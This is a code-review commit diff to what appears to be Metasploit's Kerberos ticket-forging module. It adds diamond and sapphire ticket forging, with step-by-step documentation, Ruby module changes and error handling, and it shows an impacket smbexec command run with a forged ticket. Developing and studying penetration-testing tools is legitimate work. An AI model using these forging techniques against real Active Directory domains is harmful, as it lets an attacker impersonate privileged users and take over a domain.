Changes from code review.

Added in the stability/IOC notes, since diamond/sapphire do make requests.
This commit is contained in:
Ashley Donaldson 2023-11-27 10:30:54 +11:00
parent 1b4099f5a3
commit 3ca13d9358
No known key found for this signature in database
GPG Key ID: D4BCDC8C892F7477
5 changed files with 77 additions and 18 deletions

View File

@ -1,6 +1,6 @@
## Kerberos Ticket Forging (Golden/Silver tickets)
The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden or silver ticket.
The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden, silver, diamond or sapphire ticket.
## Vulnerable Application
@ -12,6 +12,8 @@ There are two kind of actions the module can run:
1. **FORGE_SILVER** - Forge a Silver ticket - forging a service ticket. [Default]
2. **FORGE_GOLDEN** - Forge a Golden ticket - forging a ticket granting ticket.
3. **FORGE_DIAMOND** - Forge a Diamond ticket - forging a ticket granting ticket by copying the PAC of another user.
4. **FORGE_SAPPHIRE** - Forge a Golden ticket - forging a ticket granting ticket by copying the PAC of a particular user, using the S4U2Self+U2U trick.
## Pre-Verification steps
@ -199,6 +201,39 @@ export KRB5CCNAME=/Users/user/.msf4/loot/20220901132003_default_192.168.123.13_k
python3 $code/impacket/examples/smbexec.py 'adf3.local/Administrator@dc3.adf3.local' -dc-ip 192.168.123.13 -k -no-pass
```
### Forging Diamond ticket
A diamond ticket is just a golden ticket (thus requiring knowledge of the krbtgt hash), with an attempt to be stealthier, by:
- Performing an AS-REQ request to retrieve a TGT for any user
- Using the krbtgt hash to decrypt the real ticket
- Setting properties of the forged PAC to mirror those in the valid TGT
- Encrypting the forged ticket with the krbtgt hash
The primary requirement of a Diamond ticket is the same: knowledge of the krbtgt hash of the domain.
The `DOMAIN_SID` property is not required, as this is retrieved from the valid TGT.
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain
(i.e. `RHOST`, `USERNAME` and `PASSWORD`).
### Forging Sapphire ticket
A sapphire ticket is similar to a Diamond ticket, in that it retrieves a real TGT, and copies data from that PAC onto the forged ticket. However,
instead of using the ticket retrieved in the initial authentication, an additional step is performed to retrieve a PAC for another (presumably
high-privilege) user:
- Authenticating to the KDC
- Using the S4U2Self and U2U extensions to request a TGS for a high-privilege user (this mirrors what the real user's PAC would look like, but the ticket is unusable in high-privilege contexts)
- Using the krbtgt hash to decrypt this information
- Setting properties of the forged PAC to mirror those in the valid TGT
- Encrypting the forged ticket with the krbtgt hash
The primary requirement of a Sapphire ticket is the same as for Golden and Diamond tickets: knowledge of the krbtgt hash of the domain.
The `DOMAIN_SID` and `DOMAIN_RID` properties are not required, as this is retrieved from the valid TGT.
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain
(i.e. `RHOST`, `USERNAME` and `PASSWORD`).
### Common Mistakes
**Invalid hostname**

View File

@ -51,7 +51,6 @@ module Msf
primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
extra_sids = opts[:extra_sids] || []
domain_name = opts[:realm] || ''
logon_domain_name = opts[:logon_domain_name] || opts[:realm] || ''
logon_count = opts.fetch(:logon_count) { 0 }
password_last_set = opts.fetch(:password_last_set) { nil }

View File

@ -153,6 +153,7 @@ module Msf
opts[:logon_domain_name] = element.data.logon_domain_name
opts[:logon_count] = element.data.logon_count
opts[:password_last_set] = element.data.password_last_set
opts[:user_id] = element.data.user_id unless opts[:user_id]
if copy_entire_pac
opts[:base_verification_info] = element.data
element.data.extra_sids.each do |sid|

View File

@ -12,12 +12,13 @@ class MetasploitModule < Msf::Auxiliary
super(
update_info(
info,
'Name' => 'Kerberos Silver/Golden Ticket Forging',
'Name' => 'Kerberos Silver/Golden/Diamond/Sapphire Ticket Forging',
'Description' => %q{
This module forges a Kerberos ticket. Four different techniques can be used:
- Silver ticket: Using a service account hash, craft a ticket impersonating any user and privileges to that account.
- Golden ticket: Using the krbtgt hash, craft a ticket impersonating any user and privileges.
- Diamond ticket: Authenticate to
- Diamond ticket: Authenticate to the domain controller, and using the krbtgt hash, copy the PAC from the authenticated user to a forged ticket.
- Sapphire ticket: Use the S4U2Self+U2U trick to retrieve the PAC of another user, then use the krbtgt hash to craft a forged ticket.
},
'Author' => [
'Benjamin Delpy', # Original Implementation
@ -30,10 +31,10 @@ class MetasploitModule < Msf::Auxiliary
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [],
'SideEffects' => [],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [],
'AKA' => ['Silver Ticket', 'Golden Ticket', 'Diamond Ticket', 'Sapphire Ticket', 'Ticketer', 'Klist']
'AKA' => ['Silver Ticket', 'Golden Ticket', 'diamond', 'sapphire', 'Ticketer', 'Klist']
},
'Actions' => [
['FORGE_SILVER', { 'Description' => 'Forge a Silver Ticket' } ],
@ -59,7 +60,6 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('EXTRA_SIDS', [ false, 'Extra sids separated by commas, Ex: S-1-5-21-1755879683-3641577184-3486455962-519']),
OptString.new('SPN', [ false, 'The Service Principal Name (Only used for silver ticket)'], conditions: %w[ACTION == FORGE_SILVER]),
OptInt.new('DURATION', [ false, 'Duration of the ticket in days', 3650], conditions: forged_manually_condition),
OptString.new('REQUEST_USER', [false, 'The user to request a ticket for, to base the forged ticket on'], conditions: based_on_real_ticket_condition),
OptString.new('REQUEST_PASSWORD', [false, "The user's password, used to retrieve a base ticket"], conditions: based_on_real_ticket_condition),
OptAddress.new('RHOSTS', [false, 'The address of the KDC' ], conditions: based_on_real_ticket_condition),
@ -130,7 +130,7 @@ class MetasploitModule < Msf::Auxiliary
validate_sid!
validate_key!
sname = datastore['SPN'].split('/', 2)
flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(silver_ticket_flags)
flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgs_flags)
forge_ccache(sname: sname, flags: flags, is_golden: false)
end
@ -138,11 +138,12 @@ class MetasploitModule < Msf::Auxiliary
validate_sid!
validate_key!
sname = ['krbtgt', datastore['DOMAIN'].upcase]
flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags)
flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags)
forge_ccache(sname: sname, flags: flags, is_golden: true)
end
def forge_diamond
validate_remote
validate_key!
begin
@ -159,8 +160,9 @@ class MetasploitModule < Msf::Auxiliary
tgt_result = send_request_tgt(**options)
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
print_error("Requesting TGT failed: #{e.message}")
return
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Requesting TGT failed: #{e.message}")
rescue Rex::HostUnreachable => e
fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}")
end
if tgt_result.krb_enc_key[:enctype] != enc_type
@ -169,7 +171,7 @@ class MetasploitModule < Msf::Auxiliary
end
ticket = modify_ticket(tgt_result.as_rep.ticket, tgt_result.decrypted_part, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, enc_key, enc_type, enc_key, false)
ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
if datastore['VERBOSE']
print_ccache_contents(ticket, key: enc_key)
@ -177,13 +179,21 @@ class MetasploitModule < Msf::Auxiliary
end
def forge_sapphire
validate_remote
validate_key!
options = {
stop_if_preauth_not_required: false
}
enc_key, enc_type = get_enc_key_and_type
include_crypto_params(options, enc_key, enc_type)
auth_context = kerberos_authenticator.authenticate_via_kdc(options)
begin
auth_context = kerberos_authenticator.authenticate_via_kdc(options)
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error authenticating to KDC: #{e}")
rescue Rex::HostUnreachable => e
fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}")
end
credential = auth_context[:credential]
print_status("#{peer} - Using U2U to impersonate #{datastore['USER']}@#{datastore['DOMAIN']}")
@ -193,15 +203,30 @@ class MetasploitModule < Msf::Auxiliary
value: credential.keyblock.data.value
)
tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER'])
ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true)
ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
begin
tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER'])
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error executing S4U2Self+U2U: #{e}")
rescue Rex::HostUnreachable => e
fail_with(Msf::Exploit::Failure::Unreachable, "Error executing S4U2Self+U2U: #{e.message}")
end
# Don't pass a user RID in: we'll retrieve it from the decrypted PAC
ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], nil, datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true)
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
if datastore['VERBOSE']
print_ccache_contents(ticket, key: enc_key)
end
end
def validate_remote
if datastore['RHOST'].nil? || datastore['RHOST'].empty?
fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify RHOST for sapphire and diamond tickets')
elsif datastore['REQUEST_USER'].nil? || datastore['REQUEST_USER'].empty?
fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify REQUEST_USER for sapphire and diamond tickets')
end
end
def kerberos_authenticator
options = {
host: datastore['RHOST'],

View File

@ -139,7 +139,6 @@ RSpec.describe Rex::Proto::Kerberos::Pac::Krb5Pac do
pac.assign(pac_elements: pac_elements_with_upn)
pac.sign!
data = pac.to_binary_s
print("data is #{data.inspect}\n")
result = Rex::Proto::Kerberos::Pac::Krb5Pac.read(data)
expect(result).to eq(pac)
end